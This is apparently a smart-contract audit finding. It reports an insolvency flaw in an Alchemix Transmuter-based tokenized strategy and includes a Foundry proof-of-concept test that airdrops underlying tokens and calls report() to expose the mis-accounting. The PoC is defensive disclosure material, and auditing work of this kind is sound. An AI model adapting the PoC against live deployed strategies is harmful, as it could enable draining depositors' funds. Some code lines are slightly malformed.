The Tokenized Strategy relies on Alchemix's Transmuter for yield generation. The process works as follows:
The Transmuter performs a 1:1 exchange between alAsset deposits and underlying assets. The strategy interacts with this system through claimAndSwap()
, which claims converted underlying assets and immediately swaps them on DEX. Under normal operation, the strategy should never hold underlying tokens.
The tokenized strategy will be insolvent.
pragma solidity ^0.8.18;
import "forge-std/console.sol";
import {Setup, ERC20, IStrategyInterface} from "./utils/Setup.sol";
import {IStrategyInterfaceVelo} from "../interfaces/IStrategyInterface.sol";
import {IStrategyInterfaceRamses} from "../interfaces/IStrategyInterface.sol";
import {IVeloRouter} from "../interfaces/IVelo.sol";
import {IRamsesRouter} from "../interfaces/IRamses.sol";
contract PoCTest is Setup {
function setUp() public virtual override {
super.setUp();
deployMockYieldToken();
addMockYieldToken();
}
function claimAndSwap(uint256 claimable) public {
vm.prank(keeper);
if (block.chainid == 1) {
IStrategyInterface(address(strategy)).claimAndSwap(claimable, claimable * 101 / 100, 0);
} else if (block.chainid == 10) {
IVeloRouter.route[] memory veloRoute = new IVeloRouter.route[]();
veloRoute[0] =
IVeloRouter.route(address(underlying), address(asset), true, 0xF1046053aa5682b4F9a81b5481394DA16BE5FF5a);
IStrategyInterfaceVelo(address(strategy)).claimAndSwap(claimable, claimable * 101 / 100, veloRoute);
} else if (block.chainid == 42161) {
IRamsesRouter.route[] memory ramsesRoute = new IRamsesRouter.route[]();
address eFrax = 0x178412e79c25968a32e89b11f63B33F733770c2A;
ramsesRoute[0] = IRamsesRouter.route(address(underlying), eFrax, true);
ramsesRoute[1] = IRamsesRouter.route(eFrax, address(asset), true);
IStrategyInterfaceRamses(address(strategy)).claimAndSwap(claimable, claimable * 101 / 100, ramsesRoute);
} else {
revert("Chain ID not supported");
}
}
function alchemistDepositYieldIntoTransmuter(uint256 amount) public {
airdrop(underlying, address(transmuterBuffer), amount);
vm.prank(address(transmuterKeeper));
transmuterBuffer.exchange(address(underlying));
}
function logStrategyData() public view {
console.log("------------------Strategy Data------------------");
console.log("Total Assets:", strategy.totalAssets());
console.log("Claimable:", strategy.claimableBalance());
console.log("Unexchanged Balance:", strategy.unexchangedBalance());
console.log("Exchangable Balance:", transmuter.getExchangedBalance(address(strategy)));
console.log("\n");
}
function testPoC() public {
uint256 amount = 1 ether;
mintAndDepositIntoStrategy(strategy, user, amount);
console.log("Amount deposited:", amount);
logStrategyData();
airdrop(underlying, address(strategy), amount);
vm.prank(keeper);
strategy.report();
logStrategyData();
}
}
Don't account for the balance of undelying tokens, as the strategy is not supposed to has any.